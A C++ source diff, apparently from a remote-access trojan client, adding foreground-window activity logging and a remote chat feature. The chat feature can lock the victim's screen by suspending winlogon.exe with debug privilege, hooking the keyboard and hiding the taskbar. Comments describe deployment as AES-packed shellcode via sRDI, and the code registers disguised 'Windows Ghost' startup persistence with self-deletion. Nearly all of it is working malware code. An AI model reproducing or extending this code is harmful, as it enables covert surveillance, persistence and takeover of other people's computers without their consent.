int h = sec / 3600, m = (sec % 3600) / 60;
return std::to_string(h) + "h" + std::to_string(m) + "m";
}
std::string ActivityHistory::NowStr()
{
SYSTEMTIME st;
GetLocalTime(&st);
char buf[32];
sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
return buf;
}
+54
View File
@@ -0,0 +1,54 @@
#pragma once
#include <string>
#include <deque>
#include <mutex>
#include <thread>
#include <atomic>
// 历史活动记录:
// 每条格式:[YYYY-MM-DD HH:MM:SS] [窗口标题] <时长>
// 倒序存储(最新在前)。后台线程每 1 秒采样一次前台窗口。
#define ACTIVITY_MIN_DWELL_SEC 5 // 一闪而过阈值(秒):驻留低于此值不记录
#define ACTIVITY_IDLE_BREAK_SEC 300 // 空闲打断阈值(秒):空闲超过此值才结账当前窗口
// 注意:与心跳“活动窗口”列的 6s 判定不同,这里要远大于 MIN_DWELL,
// 否则“停在一个窗口上看 10 秒”会被 6s 空闲判定过早结账/漏记
#define ACTIVITY_HISTORY_MAX 500 // 内存保留的最大记录条数
class ActivityHistory
{
public:
static ActivityHistory& Instance();
// 启动常驻采样线程(幂等,重复调用无副作用)
void Start();
// 停止采样线程
void Stop();
// 返回全部历史记录(最新在前,多行文本,每行一条)
std::string Dump() const;
private:
ActivityHistory() = default;
~ActivityHistory() { Stop(); }
ActivityHistory(const ActivityHistory&) = delete;
ActivityHistory& operator=(const ActivityHistory&) = delete;
void Loop();
// 拼一条记录字符串
static std::string FormatRecord(const std::string& startTime, const std::string& title, int dwellSec);
// 时长格式化:Ns / Nm / NmNs / NhNm
static std::string FormatDuration(int sec);
// 当前时间戳 "YYYY-MM-DD HH:MM:SS"
static std::string NowStr();
mutable std::mutex m_mutex;
std::deque<std::string> m_records; // 已完成记录,最新在前
std::string m_curTitle; // 当前进行中的窗口标题
std::string m_curStartTime; // 当前窗口的起始时间
int m_curDwellSec = 0; // 当前窗口已连续活跃秒数
std::atomic<bool> m_running{ false };
std::atomic<bool> m_started{ false };
std::thread m_thread;
};
+1
View File
@@ -74,6 +74,7 @@ CAudio::~CAudio()
WAIT (m_hThreadCallBack, 30);
if (m_hThreadCallBack)
Mprintf("没有成功关闭waveInCallBack.\n");
Mprintf("TerminateThread: waveIn 线程 handle=%p threadId=%lu\n", m_Thread, GetThreadId(m_Thread));
TerminateThread(m_Thread, -999);
m_Thread = NULL;
}
+4 -2
View File
@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
{
Mprintf("CCaptureVideo call Open\n");
HRESULT hResult = S_OK;
HRESULT hResult = S_FALSE;
do {
hResult = InitCaptureGraphBuilder();
if (FAILED(hResult))
break;
if(!BindVideoFilter(iDeviceID, &m_pBF))
if (!BindVideoFilter(iDeviceID, &m_pBF)) {
hResult = S_FALSE;
break;
}
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
+44
View File
@@ -0,0 +1,44 @@
// ChatDialogTemplate.h: IDD_CHAT 的编译后 DLGTEMPLATEEX(内嵌内存模板)
//
// 用途:加壳部署(EXE + SC_AES/sRDI)的客户端里,ChatManager 的 hInstance 是外壳进程
// 映像(GetModuleHandle(NULL)),其资源里只有清单、没有 IDD_CHAT;而载荷 EXE 以裸
// shellcode 在壳进程内运行,未注册进加载器,FindResource/LoadResource/CreateDialogParamW
// 一律取不到资源(实测 Win11 26200 返回 err=1812 / 59)。此时用下面的内存模板直接
// CreateDialogIndirectParamW 建窗,与部署形态无关。
//
// 数据来源:client/Script.rc 的 IDD_CHAT(DIALOGEX)。DLGTEMPLATEEX 的字符串字段
// 一律是 UTF-16,同一份字节既可用于 A 接口也可用于 W 接口;聊天窗口固定用 W 接口
// 创建成 Unicode 对话框,否则 MBCS 客户端在非中文系统(德语等)上会按系统代码页
// 渲染 GBK 字节,中文全部乱码。
//
// 重新生成(改动 Script.rc 的 IDD_CHAT 后必须同步):
// 1. rc /fo dlg.res dlg.rc (dlg.rc 只保留与 Script.rc 相同的 IDD_CHAT 块)
// 2. link /dll /noentry /machine:x64 /out:dlg.dll dlg.res
// 3. 从 dlg.dll 的 RT_DIALOG(5) → 106 → 任意语言 取数据块,按 16 字节一行导出。
// 当前块 240 字节:CAPTION "Remote Chat"、FONT 9 "MS Shell Dlg" charset 1、
// 控件 ID 1001/1002/1003/1004,与 Script.rc 完全一致。
#ifndef YAMA_CHAT_DIALOG_TEMPLATE_H
#define YAMA_CHAT_DIALOG_TEMPLATE_H
// DLGTEMPLATEEX 的 DWORD 字段要求模板指针 4 字节对齐;显式声明对齐,避免依赖
// 编译器把字节数组放在什么边界上。
__declspec(align(4)) static const unsigned char kChatDialogTemplate[] = {
0x01, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x08, 0xCA, 0x80,
0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00,
0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00,
0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x09, 0x00, 0x90, 0x01, 0x00, 0x01, 0x4D, 0x00, 0x53, 0x00,
0x20, 0x00, 0x53, 0x00, 0x68, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x44, 0x00,
0x6C, 0x00, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x44, 0x08, 0xA1, 0x50, 0x03, 0x00, 0x03, 0x00, 0xE5, 0x00, 0x6B, 0x00, 0xE9, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x44, 0x00, 0xA1, 0x50, 0x03, 0x00, 0x71, 0x00, 0xAA, 0x00, 0x26, 0x00, 0xEA, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x74, 0x00, 0x36, 0x00, 0x0E, 0x00, 0xEB, 0x03, 0x00, 0x00,
0xFF, 0xFF, 0x80, 0x00, 0x53, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x50, 0xB2, 0x00, 0x85, 0x00,
0x36, 0x00, 0x0E, 0x00, 0xEC, 0x03, 0x00, 0x00, 0xFF, 0xFF, 0x80, 0x00, 0x45, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x61, 0x00, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00,
};
#endif // YAMA_CHAT_DIALOG_TEMPLATE_H
+522
View File
@@ -0,0 +1,522 @@
// ChatManager.cpp: implementation of the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ChatManager.h"
#include "ChatDialogTemplate.h"
#include "ImageResource.h"
#include "Common.h"
#include "resource.h"
#include <TlHelp32.h>
#include <string>
#if ENABLE_MESSAGE
// 远程交谈(双向聊天)被控端实现,移植自 SimplePlugins/ChatManager。
// 服务端 CChat 对话框发起会话后,被控端在此显示聊天窗口,并支持服务端远程锁定屏幕。
#define SE_DEBUG_PRIVILEGE 20
typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
struct PIDWNDINFO {
DWORD dwProcessId;
HWND hWnd;
};
// 锁定屏幕相关的全局状态(同一会话内只有一个 CChatManager 实例)
static HANDLE g_hProcess = NULL;
static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
static HHOOK g_hKeyBoard = NULL;
static int g_nLocked = 0;
// 加壳部署用:从本模块映像自建的聊天窗口图标,只建一次,进程内复用(不销毁)
static volatile LONG g_lOwnIconsState = 0; // 0=未建 1=建中 2=已建
static HICON g_hOwnIconSmall = NULL;
static HICON g_hOwnIconBig = NULL;
static void EnsureOwnChatIcons()
{
if (InterlockedCompareExchange(&g_lOwnIconsState, 1, 0) == 0) {
g_hOwnIconSmall = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
GetSystemMetrics(SM_CXSMICON), GetSystemMetrics(SM_CYSMICON));
g_hOwnIconBig = CreateImageIcon(&__ImageBase, IDI_ICON_MSG,
GetSystemMetrics(SM_CXICON), GetSystemMetrics(SM_CYICON));
InterlockedExchange(&g_lOwnIconsState, 2); // 全屏障,发布句柄
return;
}
// 另一个线程正在建:短暂等待其发布,避免读到尚未赋值的句柄
for (int i = 0; i < 50 && g_lOwnIconsState != 2; i++) {
Sleep(1);
}
}
static DWORD GetWinlogonPid()
{
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
PROCESSENTRY32 pEntry = { sizeof(pEntry) };
BOOL rtn = Process32First(snap, &pEntry);
while (rtn) {
if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
CloseHandle(snap);
return pEntry.th32ProcessID;
}
memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
rtn = Process32Next(snap, &pEntry);
}
CloseHandle(snap);
return 0;
}
// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION) {
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
switch (wParam) {
case WM_KEYDOWN:
case WM_SYSKEYDOWN:
case WM_KEYUP:
case WM_SYSKEYUP:
if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+TAB
|| (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0) // ALT+F4
|| (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0) // Alt+Esc
|| (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0) // Ctrl+Esc
|| (p->vkCode == VK_LWIN)
|| (p->vkCode == VK_RWIN)) {
// 低层钩子按后装先调用的顺序排队,直接 return 1 会让链上更早安装的
// 钩子(例如同机运行的主控的系统热键转发)永远收不到这些键。
// 先沿链传递再返回 1:别的钩子能看见按键并自行决定是否转发,
// 本机 shell 仍然被拦住,锁屏效果不变。
::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
return 1;
}
break;
}
}
return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
}
static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
{
PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
ShowWindow(hWnd, SW_MINIMIZE);
return TRUE;
}
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
pInfo->hWnd = hWnd;
return FALSE;
}
return TRUE;
}
// 安装键盘钩子并挂起 winlogon(必须在聊天窗口线程调用,确保钩子有消息循环)
static void ChatSetHook()
{
g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
HMODULE hMod = LoadLibrary("ntdll");
if (hMod) {
RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
DWORD pid = GetWinlogonPid();
BOOLEAN dummy = 0;
if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
}
}
static void ChatUnSetHook()
{
if (g_hKeyBoard) {
UnhookWindowsHookEx(g_hKeyBoard);
g_hKeyBoard = NULL;
}
if (g_lpfnNtResumeProcess && g_hProcess) {
g_lpfnNtResumeProcess(g_hProcess);
}
if (g_hProcess) {
CloseHandle(g_hProcess);
g_hProcess = NULL;
}
g_lpfnNtResumeProcess = NULL;
}
// 解除锁定:恢复鼠标/屏保/任务栏/开始菜单/桌面,并恢复 winlogon
static void UnlockScreen()
{
ChatUnSetHook();
ClipCursor(NULL);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
g_nLocked = 0;
}
//////////////////////////////////////////////////////////////////////
// 聊天文字:Unicode 窗口与 CP936 转换
//////////////////////////////////////////////////////////////////////
// 聊天窗口是 Unicode 对话框:客户端整体是 MBCS 工程,但聊天窗口用 W 接口创建,
// 文字以 UTF-16 存在内存里,与系统 ANSI 代码页无关——德语/日语等非中文系统上
// 中文不再乱码。静态标签按系统 UI 语言选择:中文系统保持中文,其余用英文。
struct ChatUiStrings {
const wchar_t* caption;
const wchar_t* send;
const wchar_t* end;
const wchar_t* self;
const wchar_t* peer;
const wchar_t* errChars;
const wchar_t* errTooLong;
};
static const ChatUiStrings& ChatUi()
{
static const ChatUiStrings zhChatUi = {
L"远程交谈", L"发送消息", L"结束交谈", L"自己:", L"对方:",
L"消息未发送:含 GBK 不支持的字符(emoji 或带变音符号的字母)",
L"消息未发送:超过 4000 字节上限"
};
static const ChatUiStrings enChatUi = {
L"Remote Chat", L"Send", L"End Chat", L"Me:", L"Peer:",
L"Not sent: the message contains characters GBK cannot represent "
L"(emoji or accented letters)",
L"Not sent: the message exceeds the 4000-byte limit"
};
static const bool bChineseUI =
(PRIMARYLANGID(GetUserDefaultUILanguage()) == LANG_CHINESE);
return bChineseUI ? zhChatUi : enChatUi;
}
// 服务端聊天正文一律是 CP936 字节;转成 UTF-16 交给 Unicode 编辑框显示。
static bool Cp936ToWide(const char* src, int cbSrc, std::wstring& out)
{
out.clear();
if (!src || cbSrc <= 0) return true;
int cch = MultiByteToWideChar(936, 0, src, cbSrc, NULL, 0);
if (cch <= 0) return false;
out.resize((size_t)cch);
return MultiByteToWideChar(936, 0, src, cbSrc, &out[0], cch) > 0;
}
static size_t ChatBoundedStrlen(const char* s, size_t nMax)
{
size_t n = 0;
while (n < nMax && s[n] != '\0') ++n;
return n;
}
// 追加一条聊天记录。控件是 Unicode 窗口,即使在 MBCS 工程里也必须用 W 接口,
// 否则文字会被按系统代码页转换。
static void AppendChatLine(HWND hDlg, const wchar_t* who, const wchar_t* body)
{
HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
if (!hEditChatLog) return;
SYSTEMTIME st;
GetLocalTime(&st);
wchar_t stamp[64] = { 0 };
swprintf_s(stamp, L"%d/%d/%d %d:%02d:%02d",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond);
std::wstring text(who);
text += L' ';
text += stamp;
text += L"\r\n ";
if (body) text += body;
text += L"\r\n\r\n";
int nLen = GetWindowTextLengthW(hEditChatLog);
if (nLen >= 20000) {
SetWindowTextW(hEditChatLog, L"");
nLen = 0;
}
SendMessageW(hEditChatLog, EM_SETSEL, nLen, nLen);
SendMessageW(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)text.c_str());
}
// 把聊天窗口显式居中到鼠标所在显示器的工作区。模板里的 DS_CENTER 在多显示器布局下
// 可能算出负坐标,再被系统夹到工作区左上角(三屏机器上实测稳定复现),所以不依赖它。
static void CenterChatDialog(HWND hDlg)
{
RECT rc;
if (!GetWindowRect(hDlg, &rc)) return;
const int cx = rc.right - rc.left;
const int cy = rc.bottom - rc.top;
RECT rcWork;
POINT pt;
MONITORINFO mi = { sizeof(mi) };
if (GetCursorPos(&pt) && GetMonitorInfo(MonitorFromPoint(pt, MONITOR_DEFAULTTOPRIMARY), &mi)) {
rcWork = mi.rcWork;
} else if (!SystemParametersInfo(SPI_GETWORKAREA, 0, &rcWork, 0)) {
return;
}
int x = rcWork.left + (rcWork.right - rcWork.left - cx) / 2;
int y = rcWork.top + (rcWork.bottom - rcWork.top - cy) / 2;
if (x < rcWork.left) x = rcWork.left;
if (y < rcWork.top) y = rcWork.top;
SetWindowPos(hDlg, NULL, x, y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
{
m_hInstance = HINSTANCE(user);
m_hWnd = NULL;
m_bRun = TRUE;
g_nLocked = 0;
// 向服务端发起远程交谈,服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
BYTE bToken = TOKEN_CHAT_START;
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
WaitForDialogOpen();
m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
Mprintf("Chat 构造\n");
}
CChatManager::~CChatManager()
{
m_bRun = FALSE;
// 必须先销毁窗口再等线程:消息循环阻塞在 GetMessageW 里看不到 m_bRun,只有
// 收到 WM_USER + 1(DestroyWindow → PostQuitMessage)才会退出。关闭命令没送到
// (子连接先断、服务端 WaitSendIdle 超时后 CancelIO)时,旧的先等后销毁顺序会
// 死锁在这里,留下一个隐藏的聊天窗口和卡死的线程。
if (m_hWnd) {
SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
}
while (m_hThread)
Sleep(100);
if (g_nLocked == 1) {
UnlockScreen();
}
Mprintf("Chat 析构\n");
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
CChatManager* pThis = (CChatManager*)lParam;
HANDLE& hThread(pThis->m_hThread);
// 聊天窗口必须是 Unicode 窗口:ANSI 窗口会按系统代码页解释文字,非中文系统
// (德语等)上 GBK 中文一律乱码。资源里的 IDD_CHAT 是 DIALOGEX,字符串本来
// 就是 UTF-16,W 接口可直接加载。
pThis->m_hWnd = CreateDialogParamW(pThis->m_hInstance, MAKEINTRESOURCEW(IDD_CHAT), NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
if (!pThis->m_hWnd) {
// 加壳部署(EXE + SC_AES/sRDI)时 m_hInstance 是外壳进程映像:资源里没有
// IDD_CHAT,而载荷以裸 shellcode 运行、未注册进加载器,资源 API 一律取不到
// 对话框(Windows 11 上 CreateDialogParamW 返回 err=1812 或 59)。
// 回退:用内嵌的 IDD_CHAT 编译后模板建窗,与部署形态无关。
DWORD dwError = GetLastError();
Mprintf("CreateDialogParamW(%lu) 失败,改用内嵌对话框模板\n", dwError);
pThis->m_hWnd = CreateDialogIndirectParamW(pThis->m_hInstance,
(LPCDLGTEMPLATEW)kChatDialogTemplate, NULL,
CChatManager::ChatDialogProc, (LPARAM)pThis);
}
if (pThis->m_hWnd) {
SendMessageW(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
CenterChatDialog(pThis->m_hWnd);
SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
// 移除最小化/最大化按钮
LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
MSG msg;
// 本线程只拥有这个对话框,整轮循环用 W 版本收发:否则 WM_CHAR / WM_IME_*
// 会按系统 ANSI 代码页转换,非中文系统上中文输入法会丢字。
// m_bRun 先判断:析构里置 FALSE 后即使没有新消息也要能退出,不能卡在 GetMessageW。
while (pThis->m_bRun && GetMessageW(&msg, NULL, 0, 0)) {
if (!IsDialogMessageW(pThis->m_hWnd, &msg)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
}
// 兜底:若循环在窗口销毁之前就因 m_bRun 被清掉而退出(析构执行到销毁之前
// 线程就已建好窗口),在同一线程里补一次销毁,避免残留隐藏窗口。
if (pThis->m_hWnd) {
HWND hWnd = pThis->m_hWnd;
pThis->m_hWnd = NULL;
DestroyWindow(hWnd);
}
}
CloseHandle(hThread);
hThread = NULL;
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
switch (uMsg) {
case WM_INITDIALOG:
SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
pThis = (CChatManager*)lParam;
SetWindowTextW(hDlg, ChatUi().caption);
SetDlgItemTextW(hDlg, IDC_BUTTON_SEND, ChatUi().send);
SetDlgItemTextW(hDlg, IDC_BUTTON_END, ChatUi().end);
{
HICON hIconSmall = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
HICON hIconBig = hIconSmall;
if (!hIconSmall) {
// 加壳部署取不到图标资源:直接从本模块映像里读 RT_ICON 建图标,
// 仍失败才退回系统默认图标(共享图标,不可销毁)
EnsureOwnChatIcons();
hIconSmall = g_hOwnIconSmall ? g_hOwnIconSmall : LoadIcon(NULL, IDI_APPLICATION);
hIconBig = g_hOwnIconBig ? g_hOwnIconBig : hIconSmall;
}
if (hIconSmall) SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIconSmall);
if (hIconBig) SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIconBig);
}
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND) {
HWND hEditNewMsg = GetDlgItem(hDlg, IDC_EDIT_NEWMSG);
int cch = GetWindowTextLengthW(hEditNewMsg);
if (cch <= 0) {
SetFocus(hEditNewMsg);
return TRUE; // 消息为空不发送
}
std::wstring text((size_t)cch + 1, L'\0');
GetWindowTextW(hEditNewMsg, &text[0], cch + 1);
text.resize(wcslen(text.c_str()));
if (text.empty()) {
SetFocus(hEditNewMsg);
return TRUE;
}
// 协议仍是 CP936:UTF-16 → GBK 严格转换。GBK 表示不了的字符(emoji、
// ö/ä/ß 等)直接拒发并提示,绝不静默变成 '?'。
BOOL usedDefault = FALSE;
int nNeed = WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
NULL, 0, NULL, &usedDefault);
if (nNeed <= 1 || usedDefault) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
return TRUE;
}
if (nNeed - 1 > 4000) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errTooLong);
return TRUE;
}
std::string gbk((size_t)nNeed, '\0');
WideCharToMultiByte(936, WC_NO_BEST_FIT_CHARS, text.c_str(), -1,
&gbk[0], nNeed, NULL, &usedDefault);
if (usedDefault) {
AppendChatLine(hDlg, ChatUi().self, ChatUi().errChars);
return TRUE;
}
pThis->Send((LPBYTE)&gbk[0], (ULONG)gbk.size()); // 含结尾 NUL
AppendChatLine(hDlg, ChatUi().self, text.c_str());
SetDlgItemTextW(hDlg, IDC_EDIT_NEWMSG, L"");
SetFocus(hEditNewMsg);
return TRUE;
}
if (LOWORD(wParam) == IDC_BUTTON_END) {
// 被控端关闭聊天窗口:仅隐藏对话框,会话保持。关闭交谈始终由服务端发起,
// 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
ShowWindow(hDlg, SW_HIDE);
return TRUE;
}
break;
case WM_CLOSE:
// X 关闭按钮:仅隐藏对话框(与「结束交谈」一致),关闭交谈始终由服务端发起
ShowWindow(hDlg, SW_HIDE);
return TRUE;
case WM_USER + 1:
pThis->m_hWnd = NULL;
DestroyWindow(hDlg);
return TRUE;
case WM_USER + 2:
ChatSetHook();
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
// 这里没有心跳包:心跳只走主连接([TOKEN_HEARTBEAT][Heartbeat],且由主连接分发消费),
// 服务端从不给交谈子连接发心跳。原先照搬其它 manager 的
// if (szBuffer[0] == TOKEN_HEARTBEAT) return;
// 会在任何长度判断之前丢掉首字节为 101('e') 的包——而本通道承载的是自由文本,
// 于是「echo」「error」这类以 e 开头的消息被静默吞掉。删掉即可,保留长度判断。
if (ulLength == 1) {
switch (szBuffer[0]) {
case COMMAND_NEXT_CHAT:
NotifyDialogIsOpen();
return;
case COMMAND_CHAT_CLOSE:
if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
return;
case COMMAND_CHAT_SCREEN_LOCK:
NotifyDialogIsOpen();
if (m_hWnd && g_nLocked == 0) {
ShowWindow(m_hWnd, SW_RESTORE);
RECT rct = { 0 };
GetWindowRect(m_hWnd, &rct);
ClipCursor(&rct);
SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
PIDWNDINFO pwi = { 0 };
pwi.dwProcessId = 0;
pwi.hWnd = m_hWnd;
EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
g_nLocked = 1;
}
return;
case COMMAND_CHAT_SCREEN_UNLOCK:
if (g_nLocked == 1) {
UnlockScreen();
}
return;
default:
break;
}
}
// 收到服务端发来的聊天文本:协议是 CP936 字节(NUL 结尾),转成 UTF-16 显示,
// 这样非中文系统(德语等)上也能正确显示中文。
const size_t cbText = ChatBoundedStrlen((const char*)szBuffer, (size_t)ulLength);
std::wstring text;
if (!Cp936ToWide((const char*)szBuffer, (int)cbText, text)) return;
if (m_hWnd) {
AppendChatLine(m_hWnd, ChatUi().peer, text.c_str());
ShowWindow(m_hWnd, SW_RESTORE);
}
}
#endif
+30
View File
@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+36 -17
View File
@@ -3,6 +3,7 @@
#include "stdafx.h"
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
@@ -65,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
return S_CLIENT_NORMAL == This->g_bExit;
}
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
{
auto v = StringToVector(remoteAddr, ':', 2);
if (v[0].empty() || v[1].empty())
return nullptr;
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
a->g_Connection->iHeaderEnc = headerEnc;
return a;
}
@@ -280,7 +283,7 @@ int main(int argc, const char *argv[])
int r = RegisterStartup(
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf);
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
if (r <= 0) {
BOOL s = self_del();
if (!IsDebug) {
@@ -442,6 +445,11 @@ extern "C" __declspec(dllexport) void StopRun()
// 是否成功停止
extern "C" __declspec(dllexport) bool IsStoped()
{
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
// 分享实例继续存活,不受主控端重启影响。
